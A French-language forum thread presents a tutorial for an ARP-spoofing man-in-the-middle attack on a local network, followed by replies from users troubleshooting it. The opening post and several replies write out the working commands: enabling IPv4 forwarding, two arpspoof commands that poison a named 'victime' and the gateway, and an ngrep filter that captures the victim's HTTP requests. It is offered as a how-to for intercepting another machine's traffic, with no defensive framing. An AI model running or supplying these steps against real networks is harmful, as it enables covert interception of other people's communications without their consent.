[sniffing] local network...

bonjour,
tous dabort ce que nous devons savoir pour y arriver.

Notre passerelle/router ADSL est 192.168.0.1 (peut être aussi 192.168.1.1).

Notre machine victime est 192.168.0.84

Notre machine sniffeuse est 192.168.0.56

Ensuite il faut activer le forwarding Ipv4.

echo 1 >  /proc/sys/net/ipv4/ip_forward

ou

sysctl -w net.ipv4.ip_forward

(la premiere fonctionne trés bien sous backtrack, la seconde je ne sais pas.)

Ensuite il faut ouvrir plusieurs consoles.

la premiere pour faire croire à 192.168.0.1 que nous possedons l'interface de 192.168.0.84

arpspoof -i eth0 -t 192.168.0.1 192.168.0.84

la seconde pour faire croire à 192.168.0.84 que nous sommes 192.168.0.1

arpspoof -i eth0 -t 192.168.0.84 192.168.0.1

La troisième pour écouter le traffic contenant la chaine "GET /shearch" avec ngerp :

ngrep "GET /shearch" "host 192.168.0.84"

le résulta vous affichera la bonne marche des choses.

NOTEZ que arpspoof est ici utilisé avec l'option -t, cela vise une seule machine (donc 192.168.0.84), sans cette option toutes les machines sont visées.

NOTEZ également que ce que nous venons de faire avec arpspoof et ngrep peut être fait en une seule commande avec ettercap qui est certe moins polyvalente.

Cet article est pris dans un magazine appellé "LINUX-Hors série" que je vous conseille.

Voila je vous remerçi de me poster le résultat de vos test de ce tutorial...
par avance merci

[R34ld3rkgf]

Salut HKdone,

Sa m'as l'air d'etre un bon tuto ton post, mais moi j'ai un petit souci avec la 2eme command : # arpspoof -i ath0 192.168.1.1 192.168.1.2 (avec les IPs et interface de mon reseau) et j'obtiens sa :
Version: 2.4
Usage: arpspoof [-i interface] [-t target] host

je rajoute donc l'option -t avant IP du routeur et là j'ai cette reponse :
arpspoof: couldn't arp for host 192.168.1.1

Je me pose donc des questions. Avec ettercap-gui, sa marche sans probleme.

A titre d'info j'utilise bt3f sur Eeepc-900.
Mon reseau :
Routeur :192.168.1.1
Victime :192.168.1.2
Sniff : 192.168.1.3

Jvais continuer de chercher, pour voir ce qui foire.

bonjour
dsl j'avais oublier un -t l'erreur est réparée
je croi aussi que tu doit metre eth0 et non ath0...
voila.
=)

[XcessiV]

Cela ressemble plus être un tuto man in the middle, non ?
De plus, il doit y avoir des outils plus sympa pour le sniff de la fin, non ?

[KaitoKito]

Merci du tuyau

[claud3646]

Moi il y a 2 problème le premier ma victime n'a plus accès a internet et le deuxième est que quand je lance ngrep il se lance automatiquement sur eth0 mais moi mon interface est wlan0. j'ai chercher en lisant le manuel mais il ne dise pas comment changer l'interface

[yop fr]

Originally Posted by claud3646

ngrep il se lance automatiquement sur eth0 mais moi mon interface est wlan0. j'ai chercher en lisant le manuel mais il ne dise pas comment changer l'interface

bein prend tcpdump ou tshark etc...

[Irrintzina]

Oui, ça ressemble à "man in the middle", mais la victime n'a plus sa connection... Je m'intéresse à ce tuto car je n'aime pas utiliser une application sans comprendre. Mais oui, certaines applications permettent d'arriver au même point sans inconvénients.

[renovatio]

Bonjour,

pour moi ca ne fonctionne pas je ne reçois aucune information de l'ip victime.

Voici ma démarche:

Ip victime: 192.168.1.10
Ip du sniff : 192.168.1.12
Ip passerelle: 192.168.1.1

Console1:

root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward

root@bt:~# arpspoof -i wlan0 -t 192.168.1.1 192.168.1.10

Console2:

root@bt:~# arpspoof -i wlan0 -t 192.168.0.10 192.168.1.1

Console3:

root@bt:~# ngrep "GET /shearch" "host 192.168.1.10"

voila ce que ca m'affiche:

wmaster0: noIPv4 adress assigned: cannot assign requested address
interface: wmaster0
filterip or ip6) and (host 192.168.1.10)
match: GET/shearch
##############################################
##############################################
############....

Je génère un peu de traffic de l'ip victime

au bout d'un moment je fais ctrl+c

puis j'ai: 6844received, 0dropped

désolé je suis débutant j'essaie de comprendre.

[Nagual]

c'est quoi ça ?

root@bt:~# ngrep "GET /shearch" "host 192.168.1.10"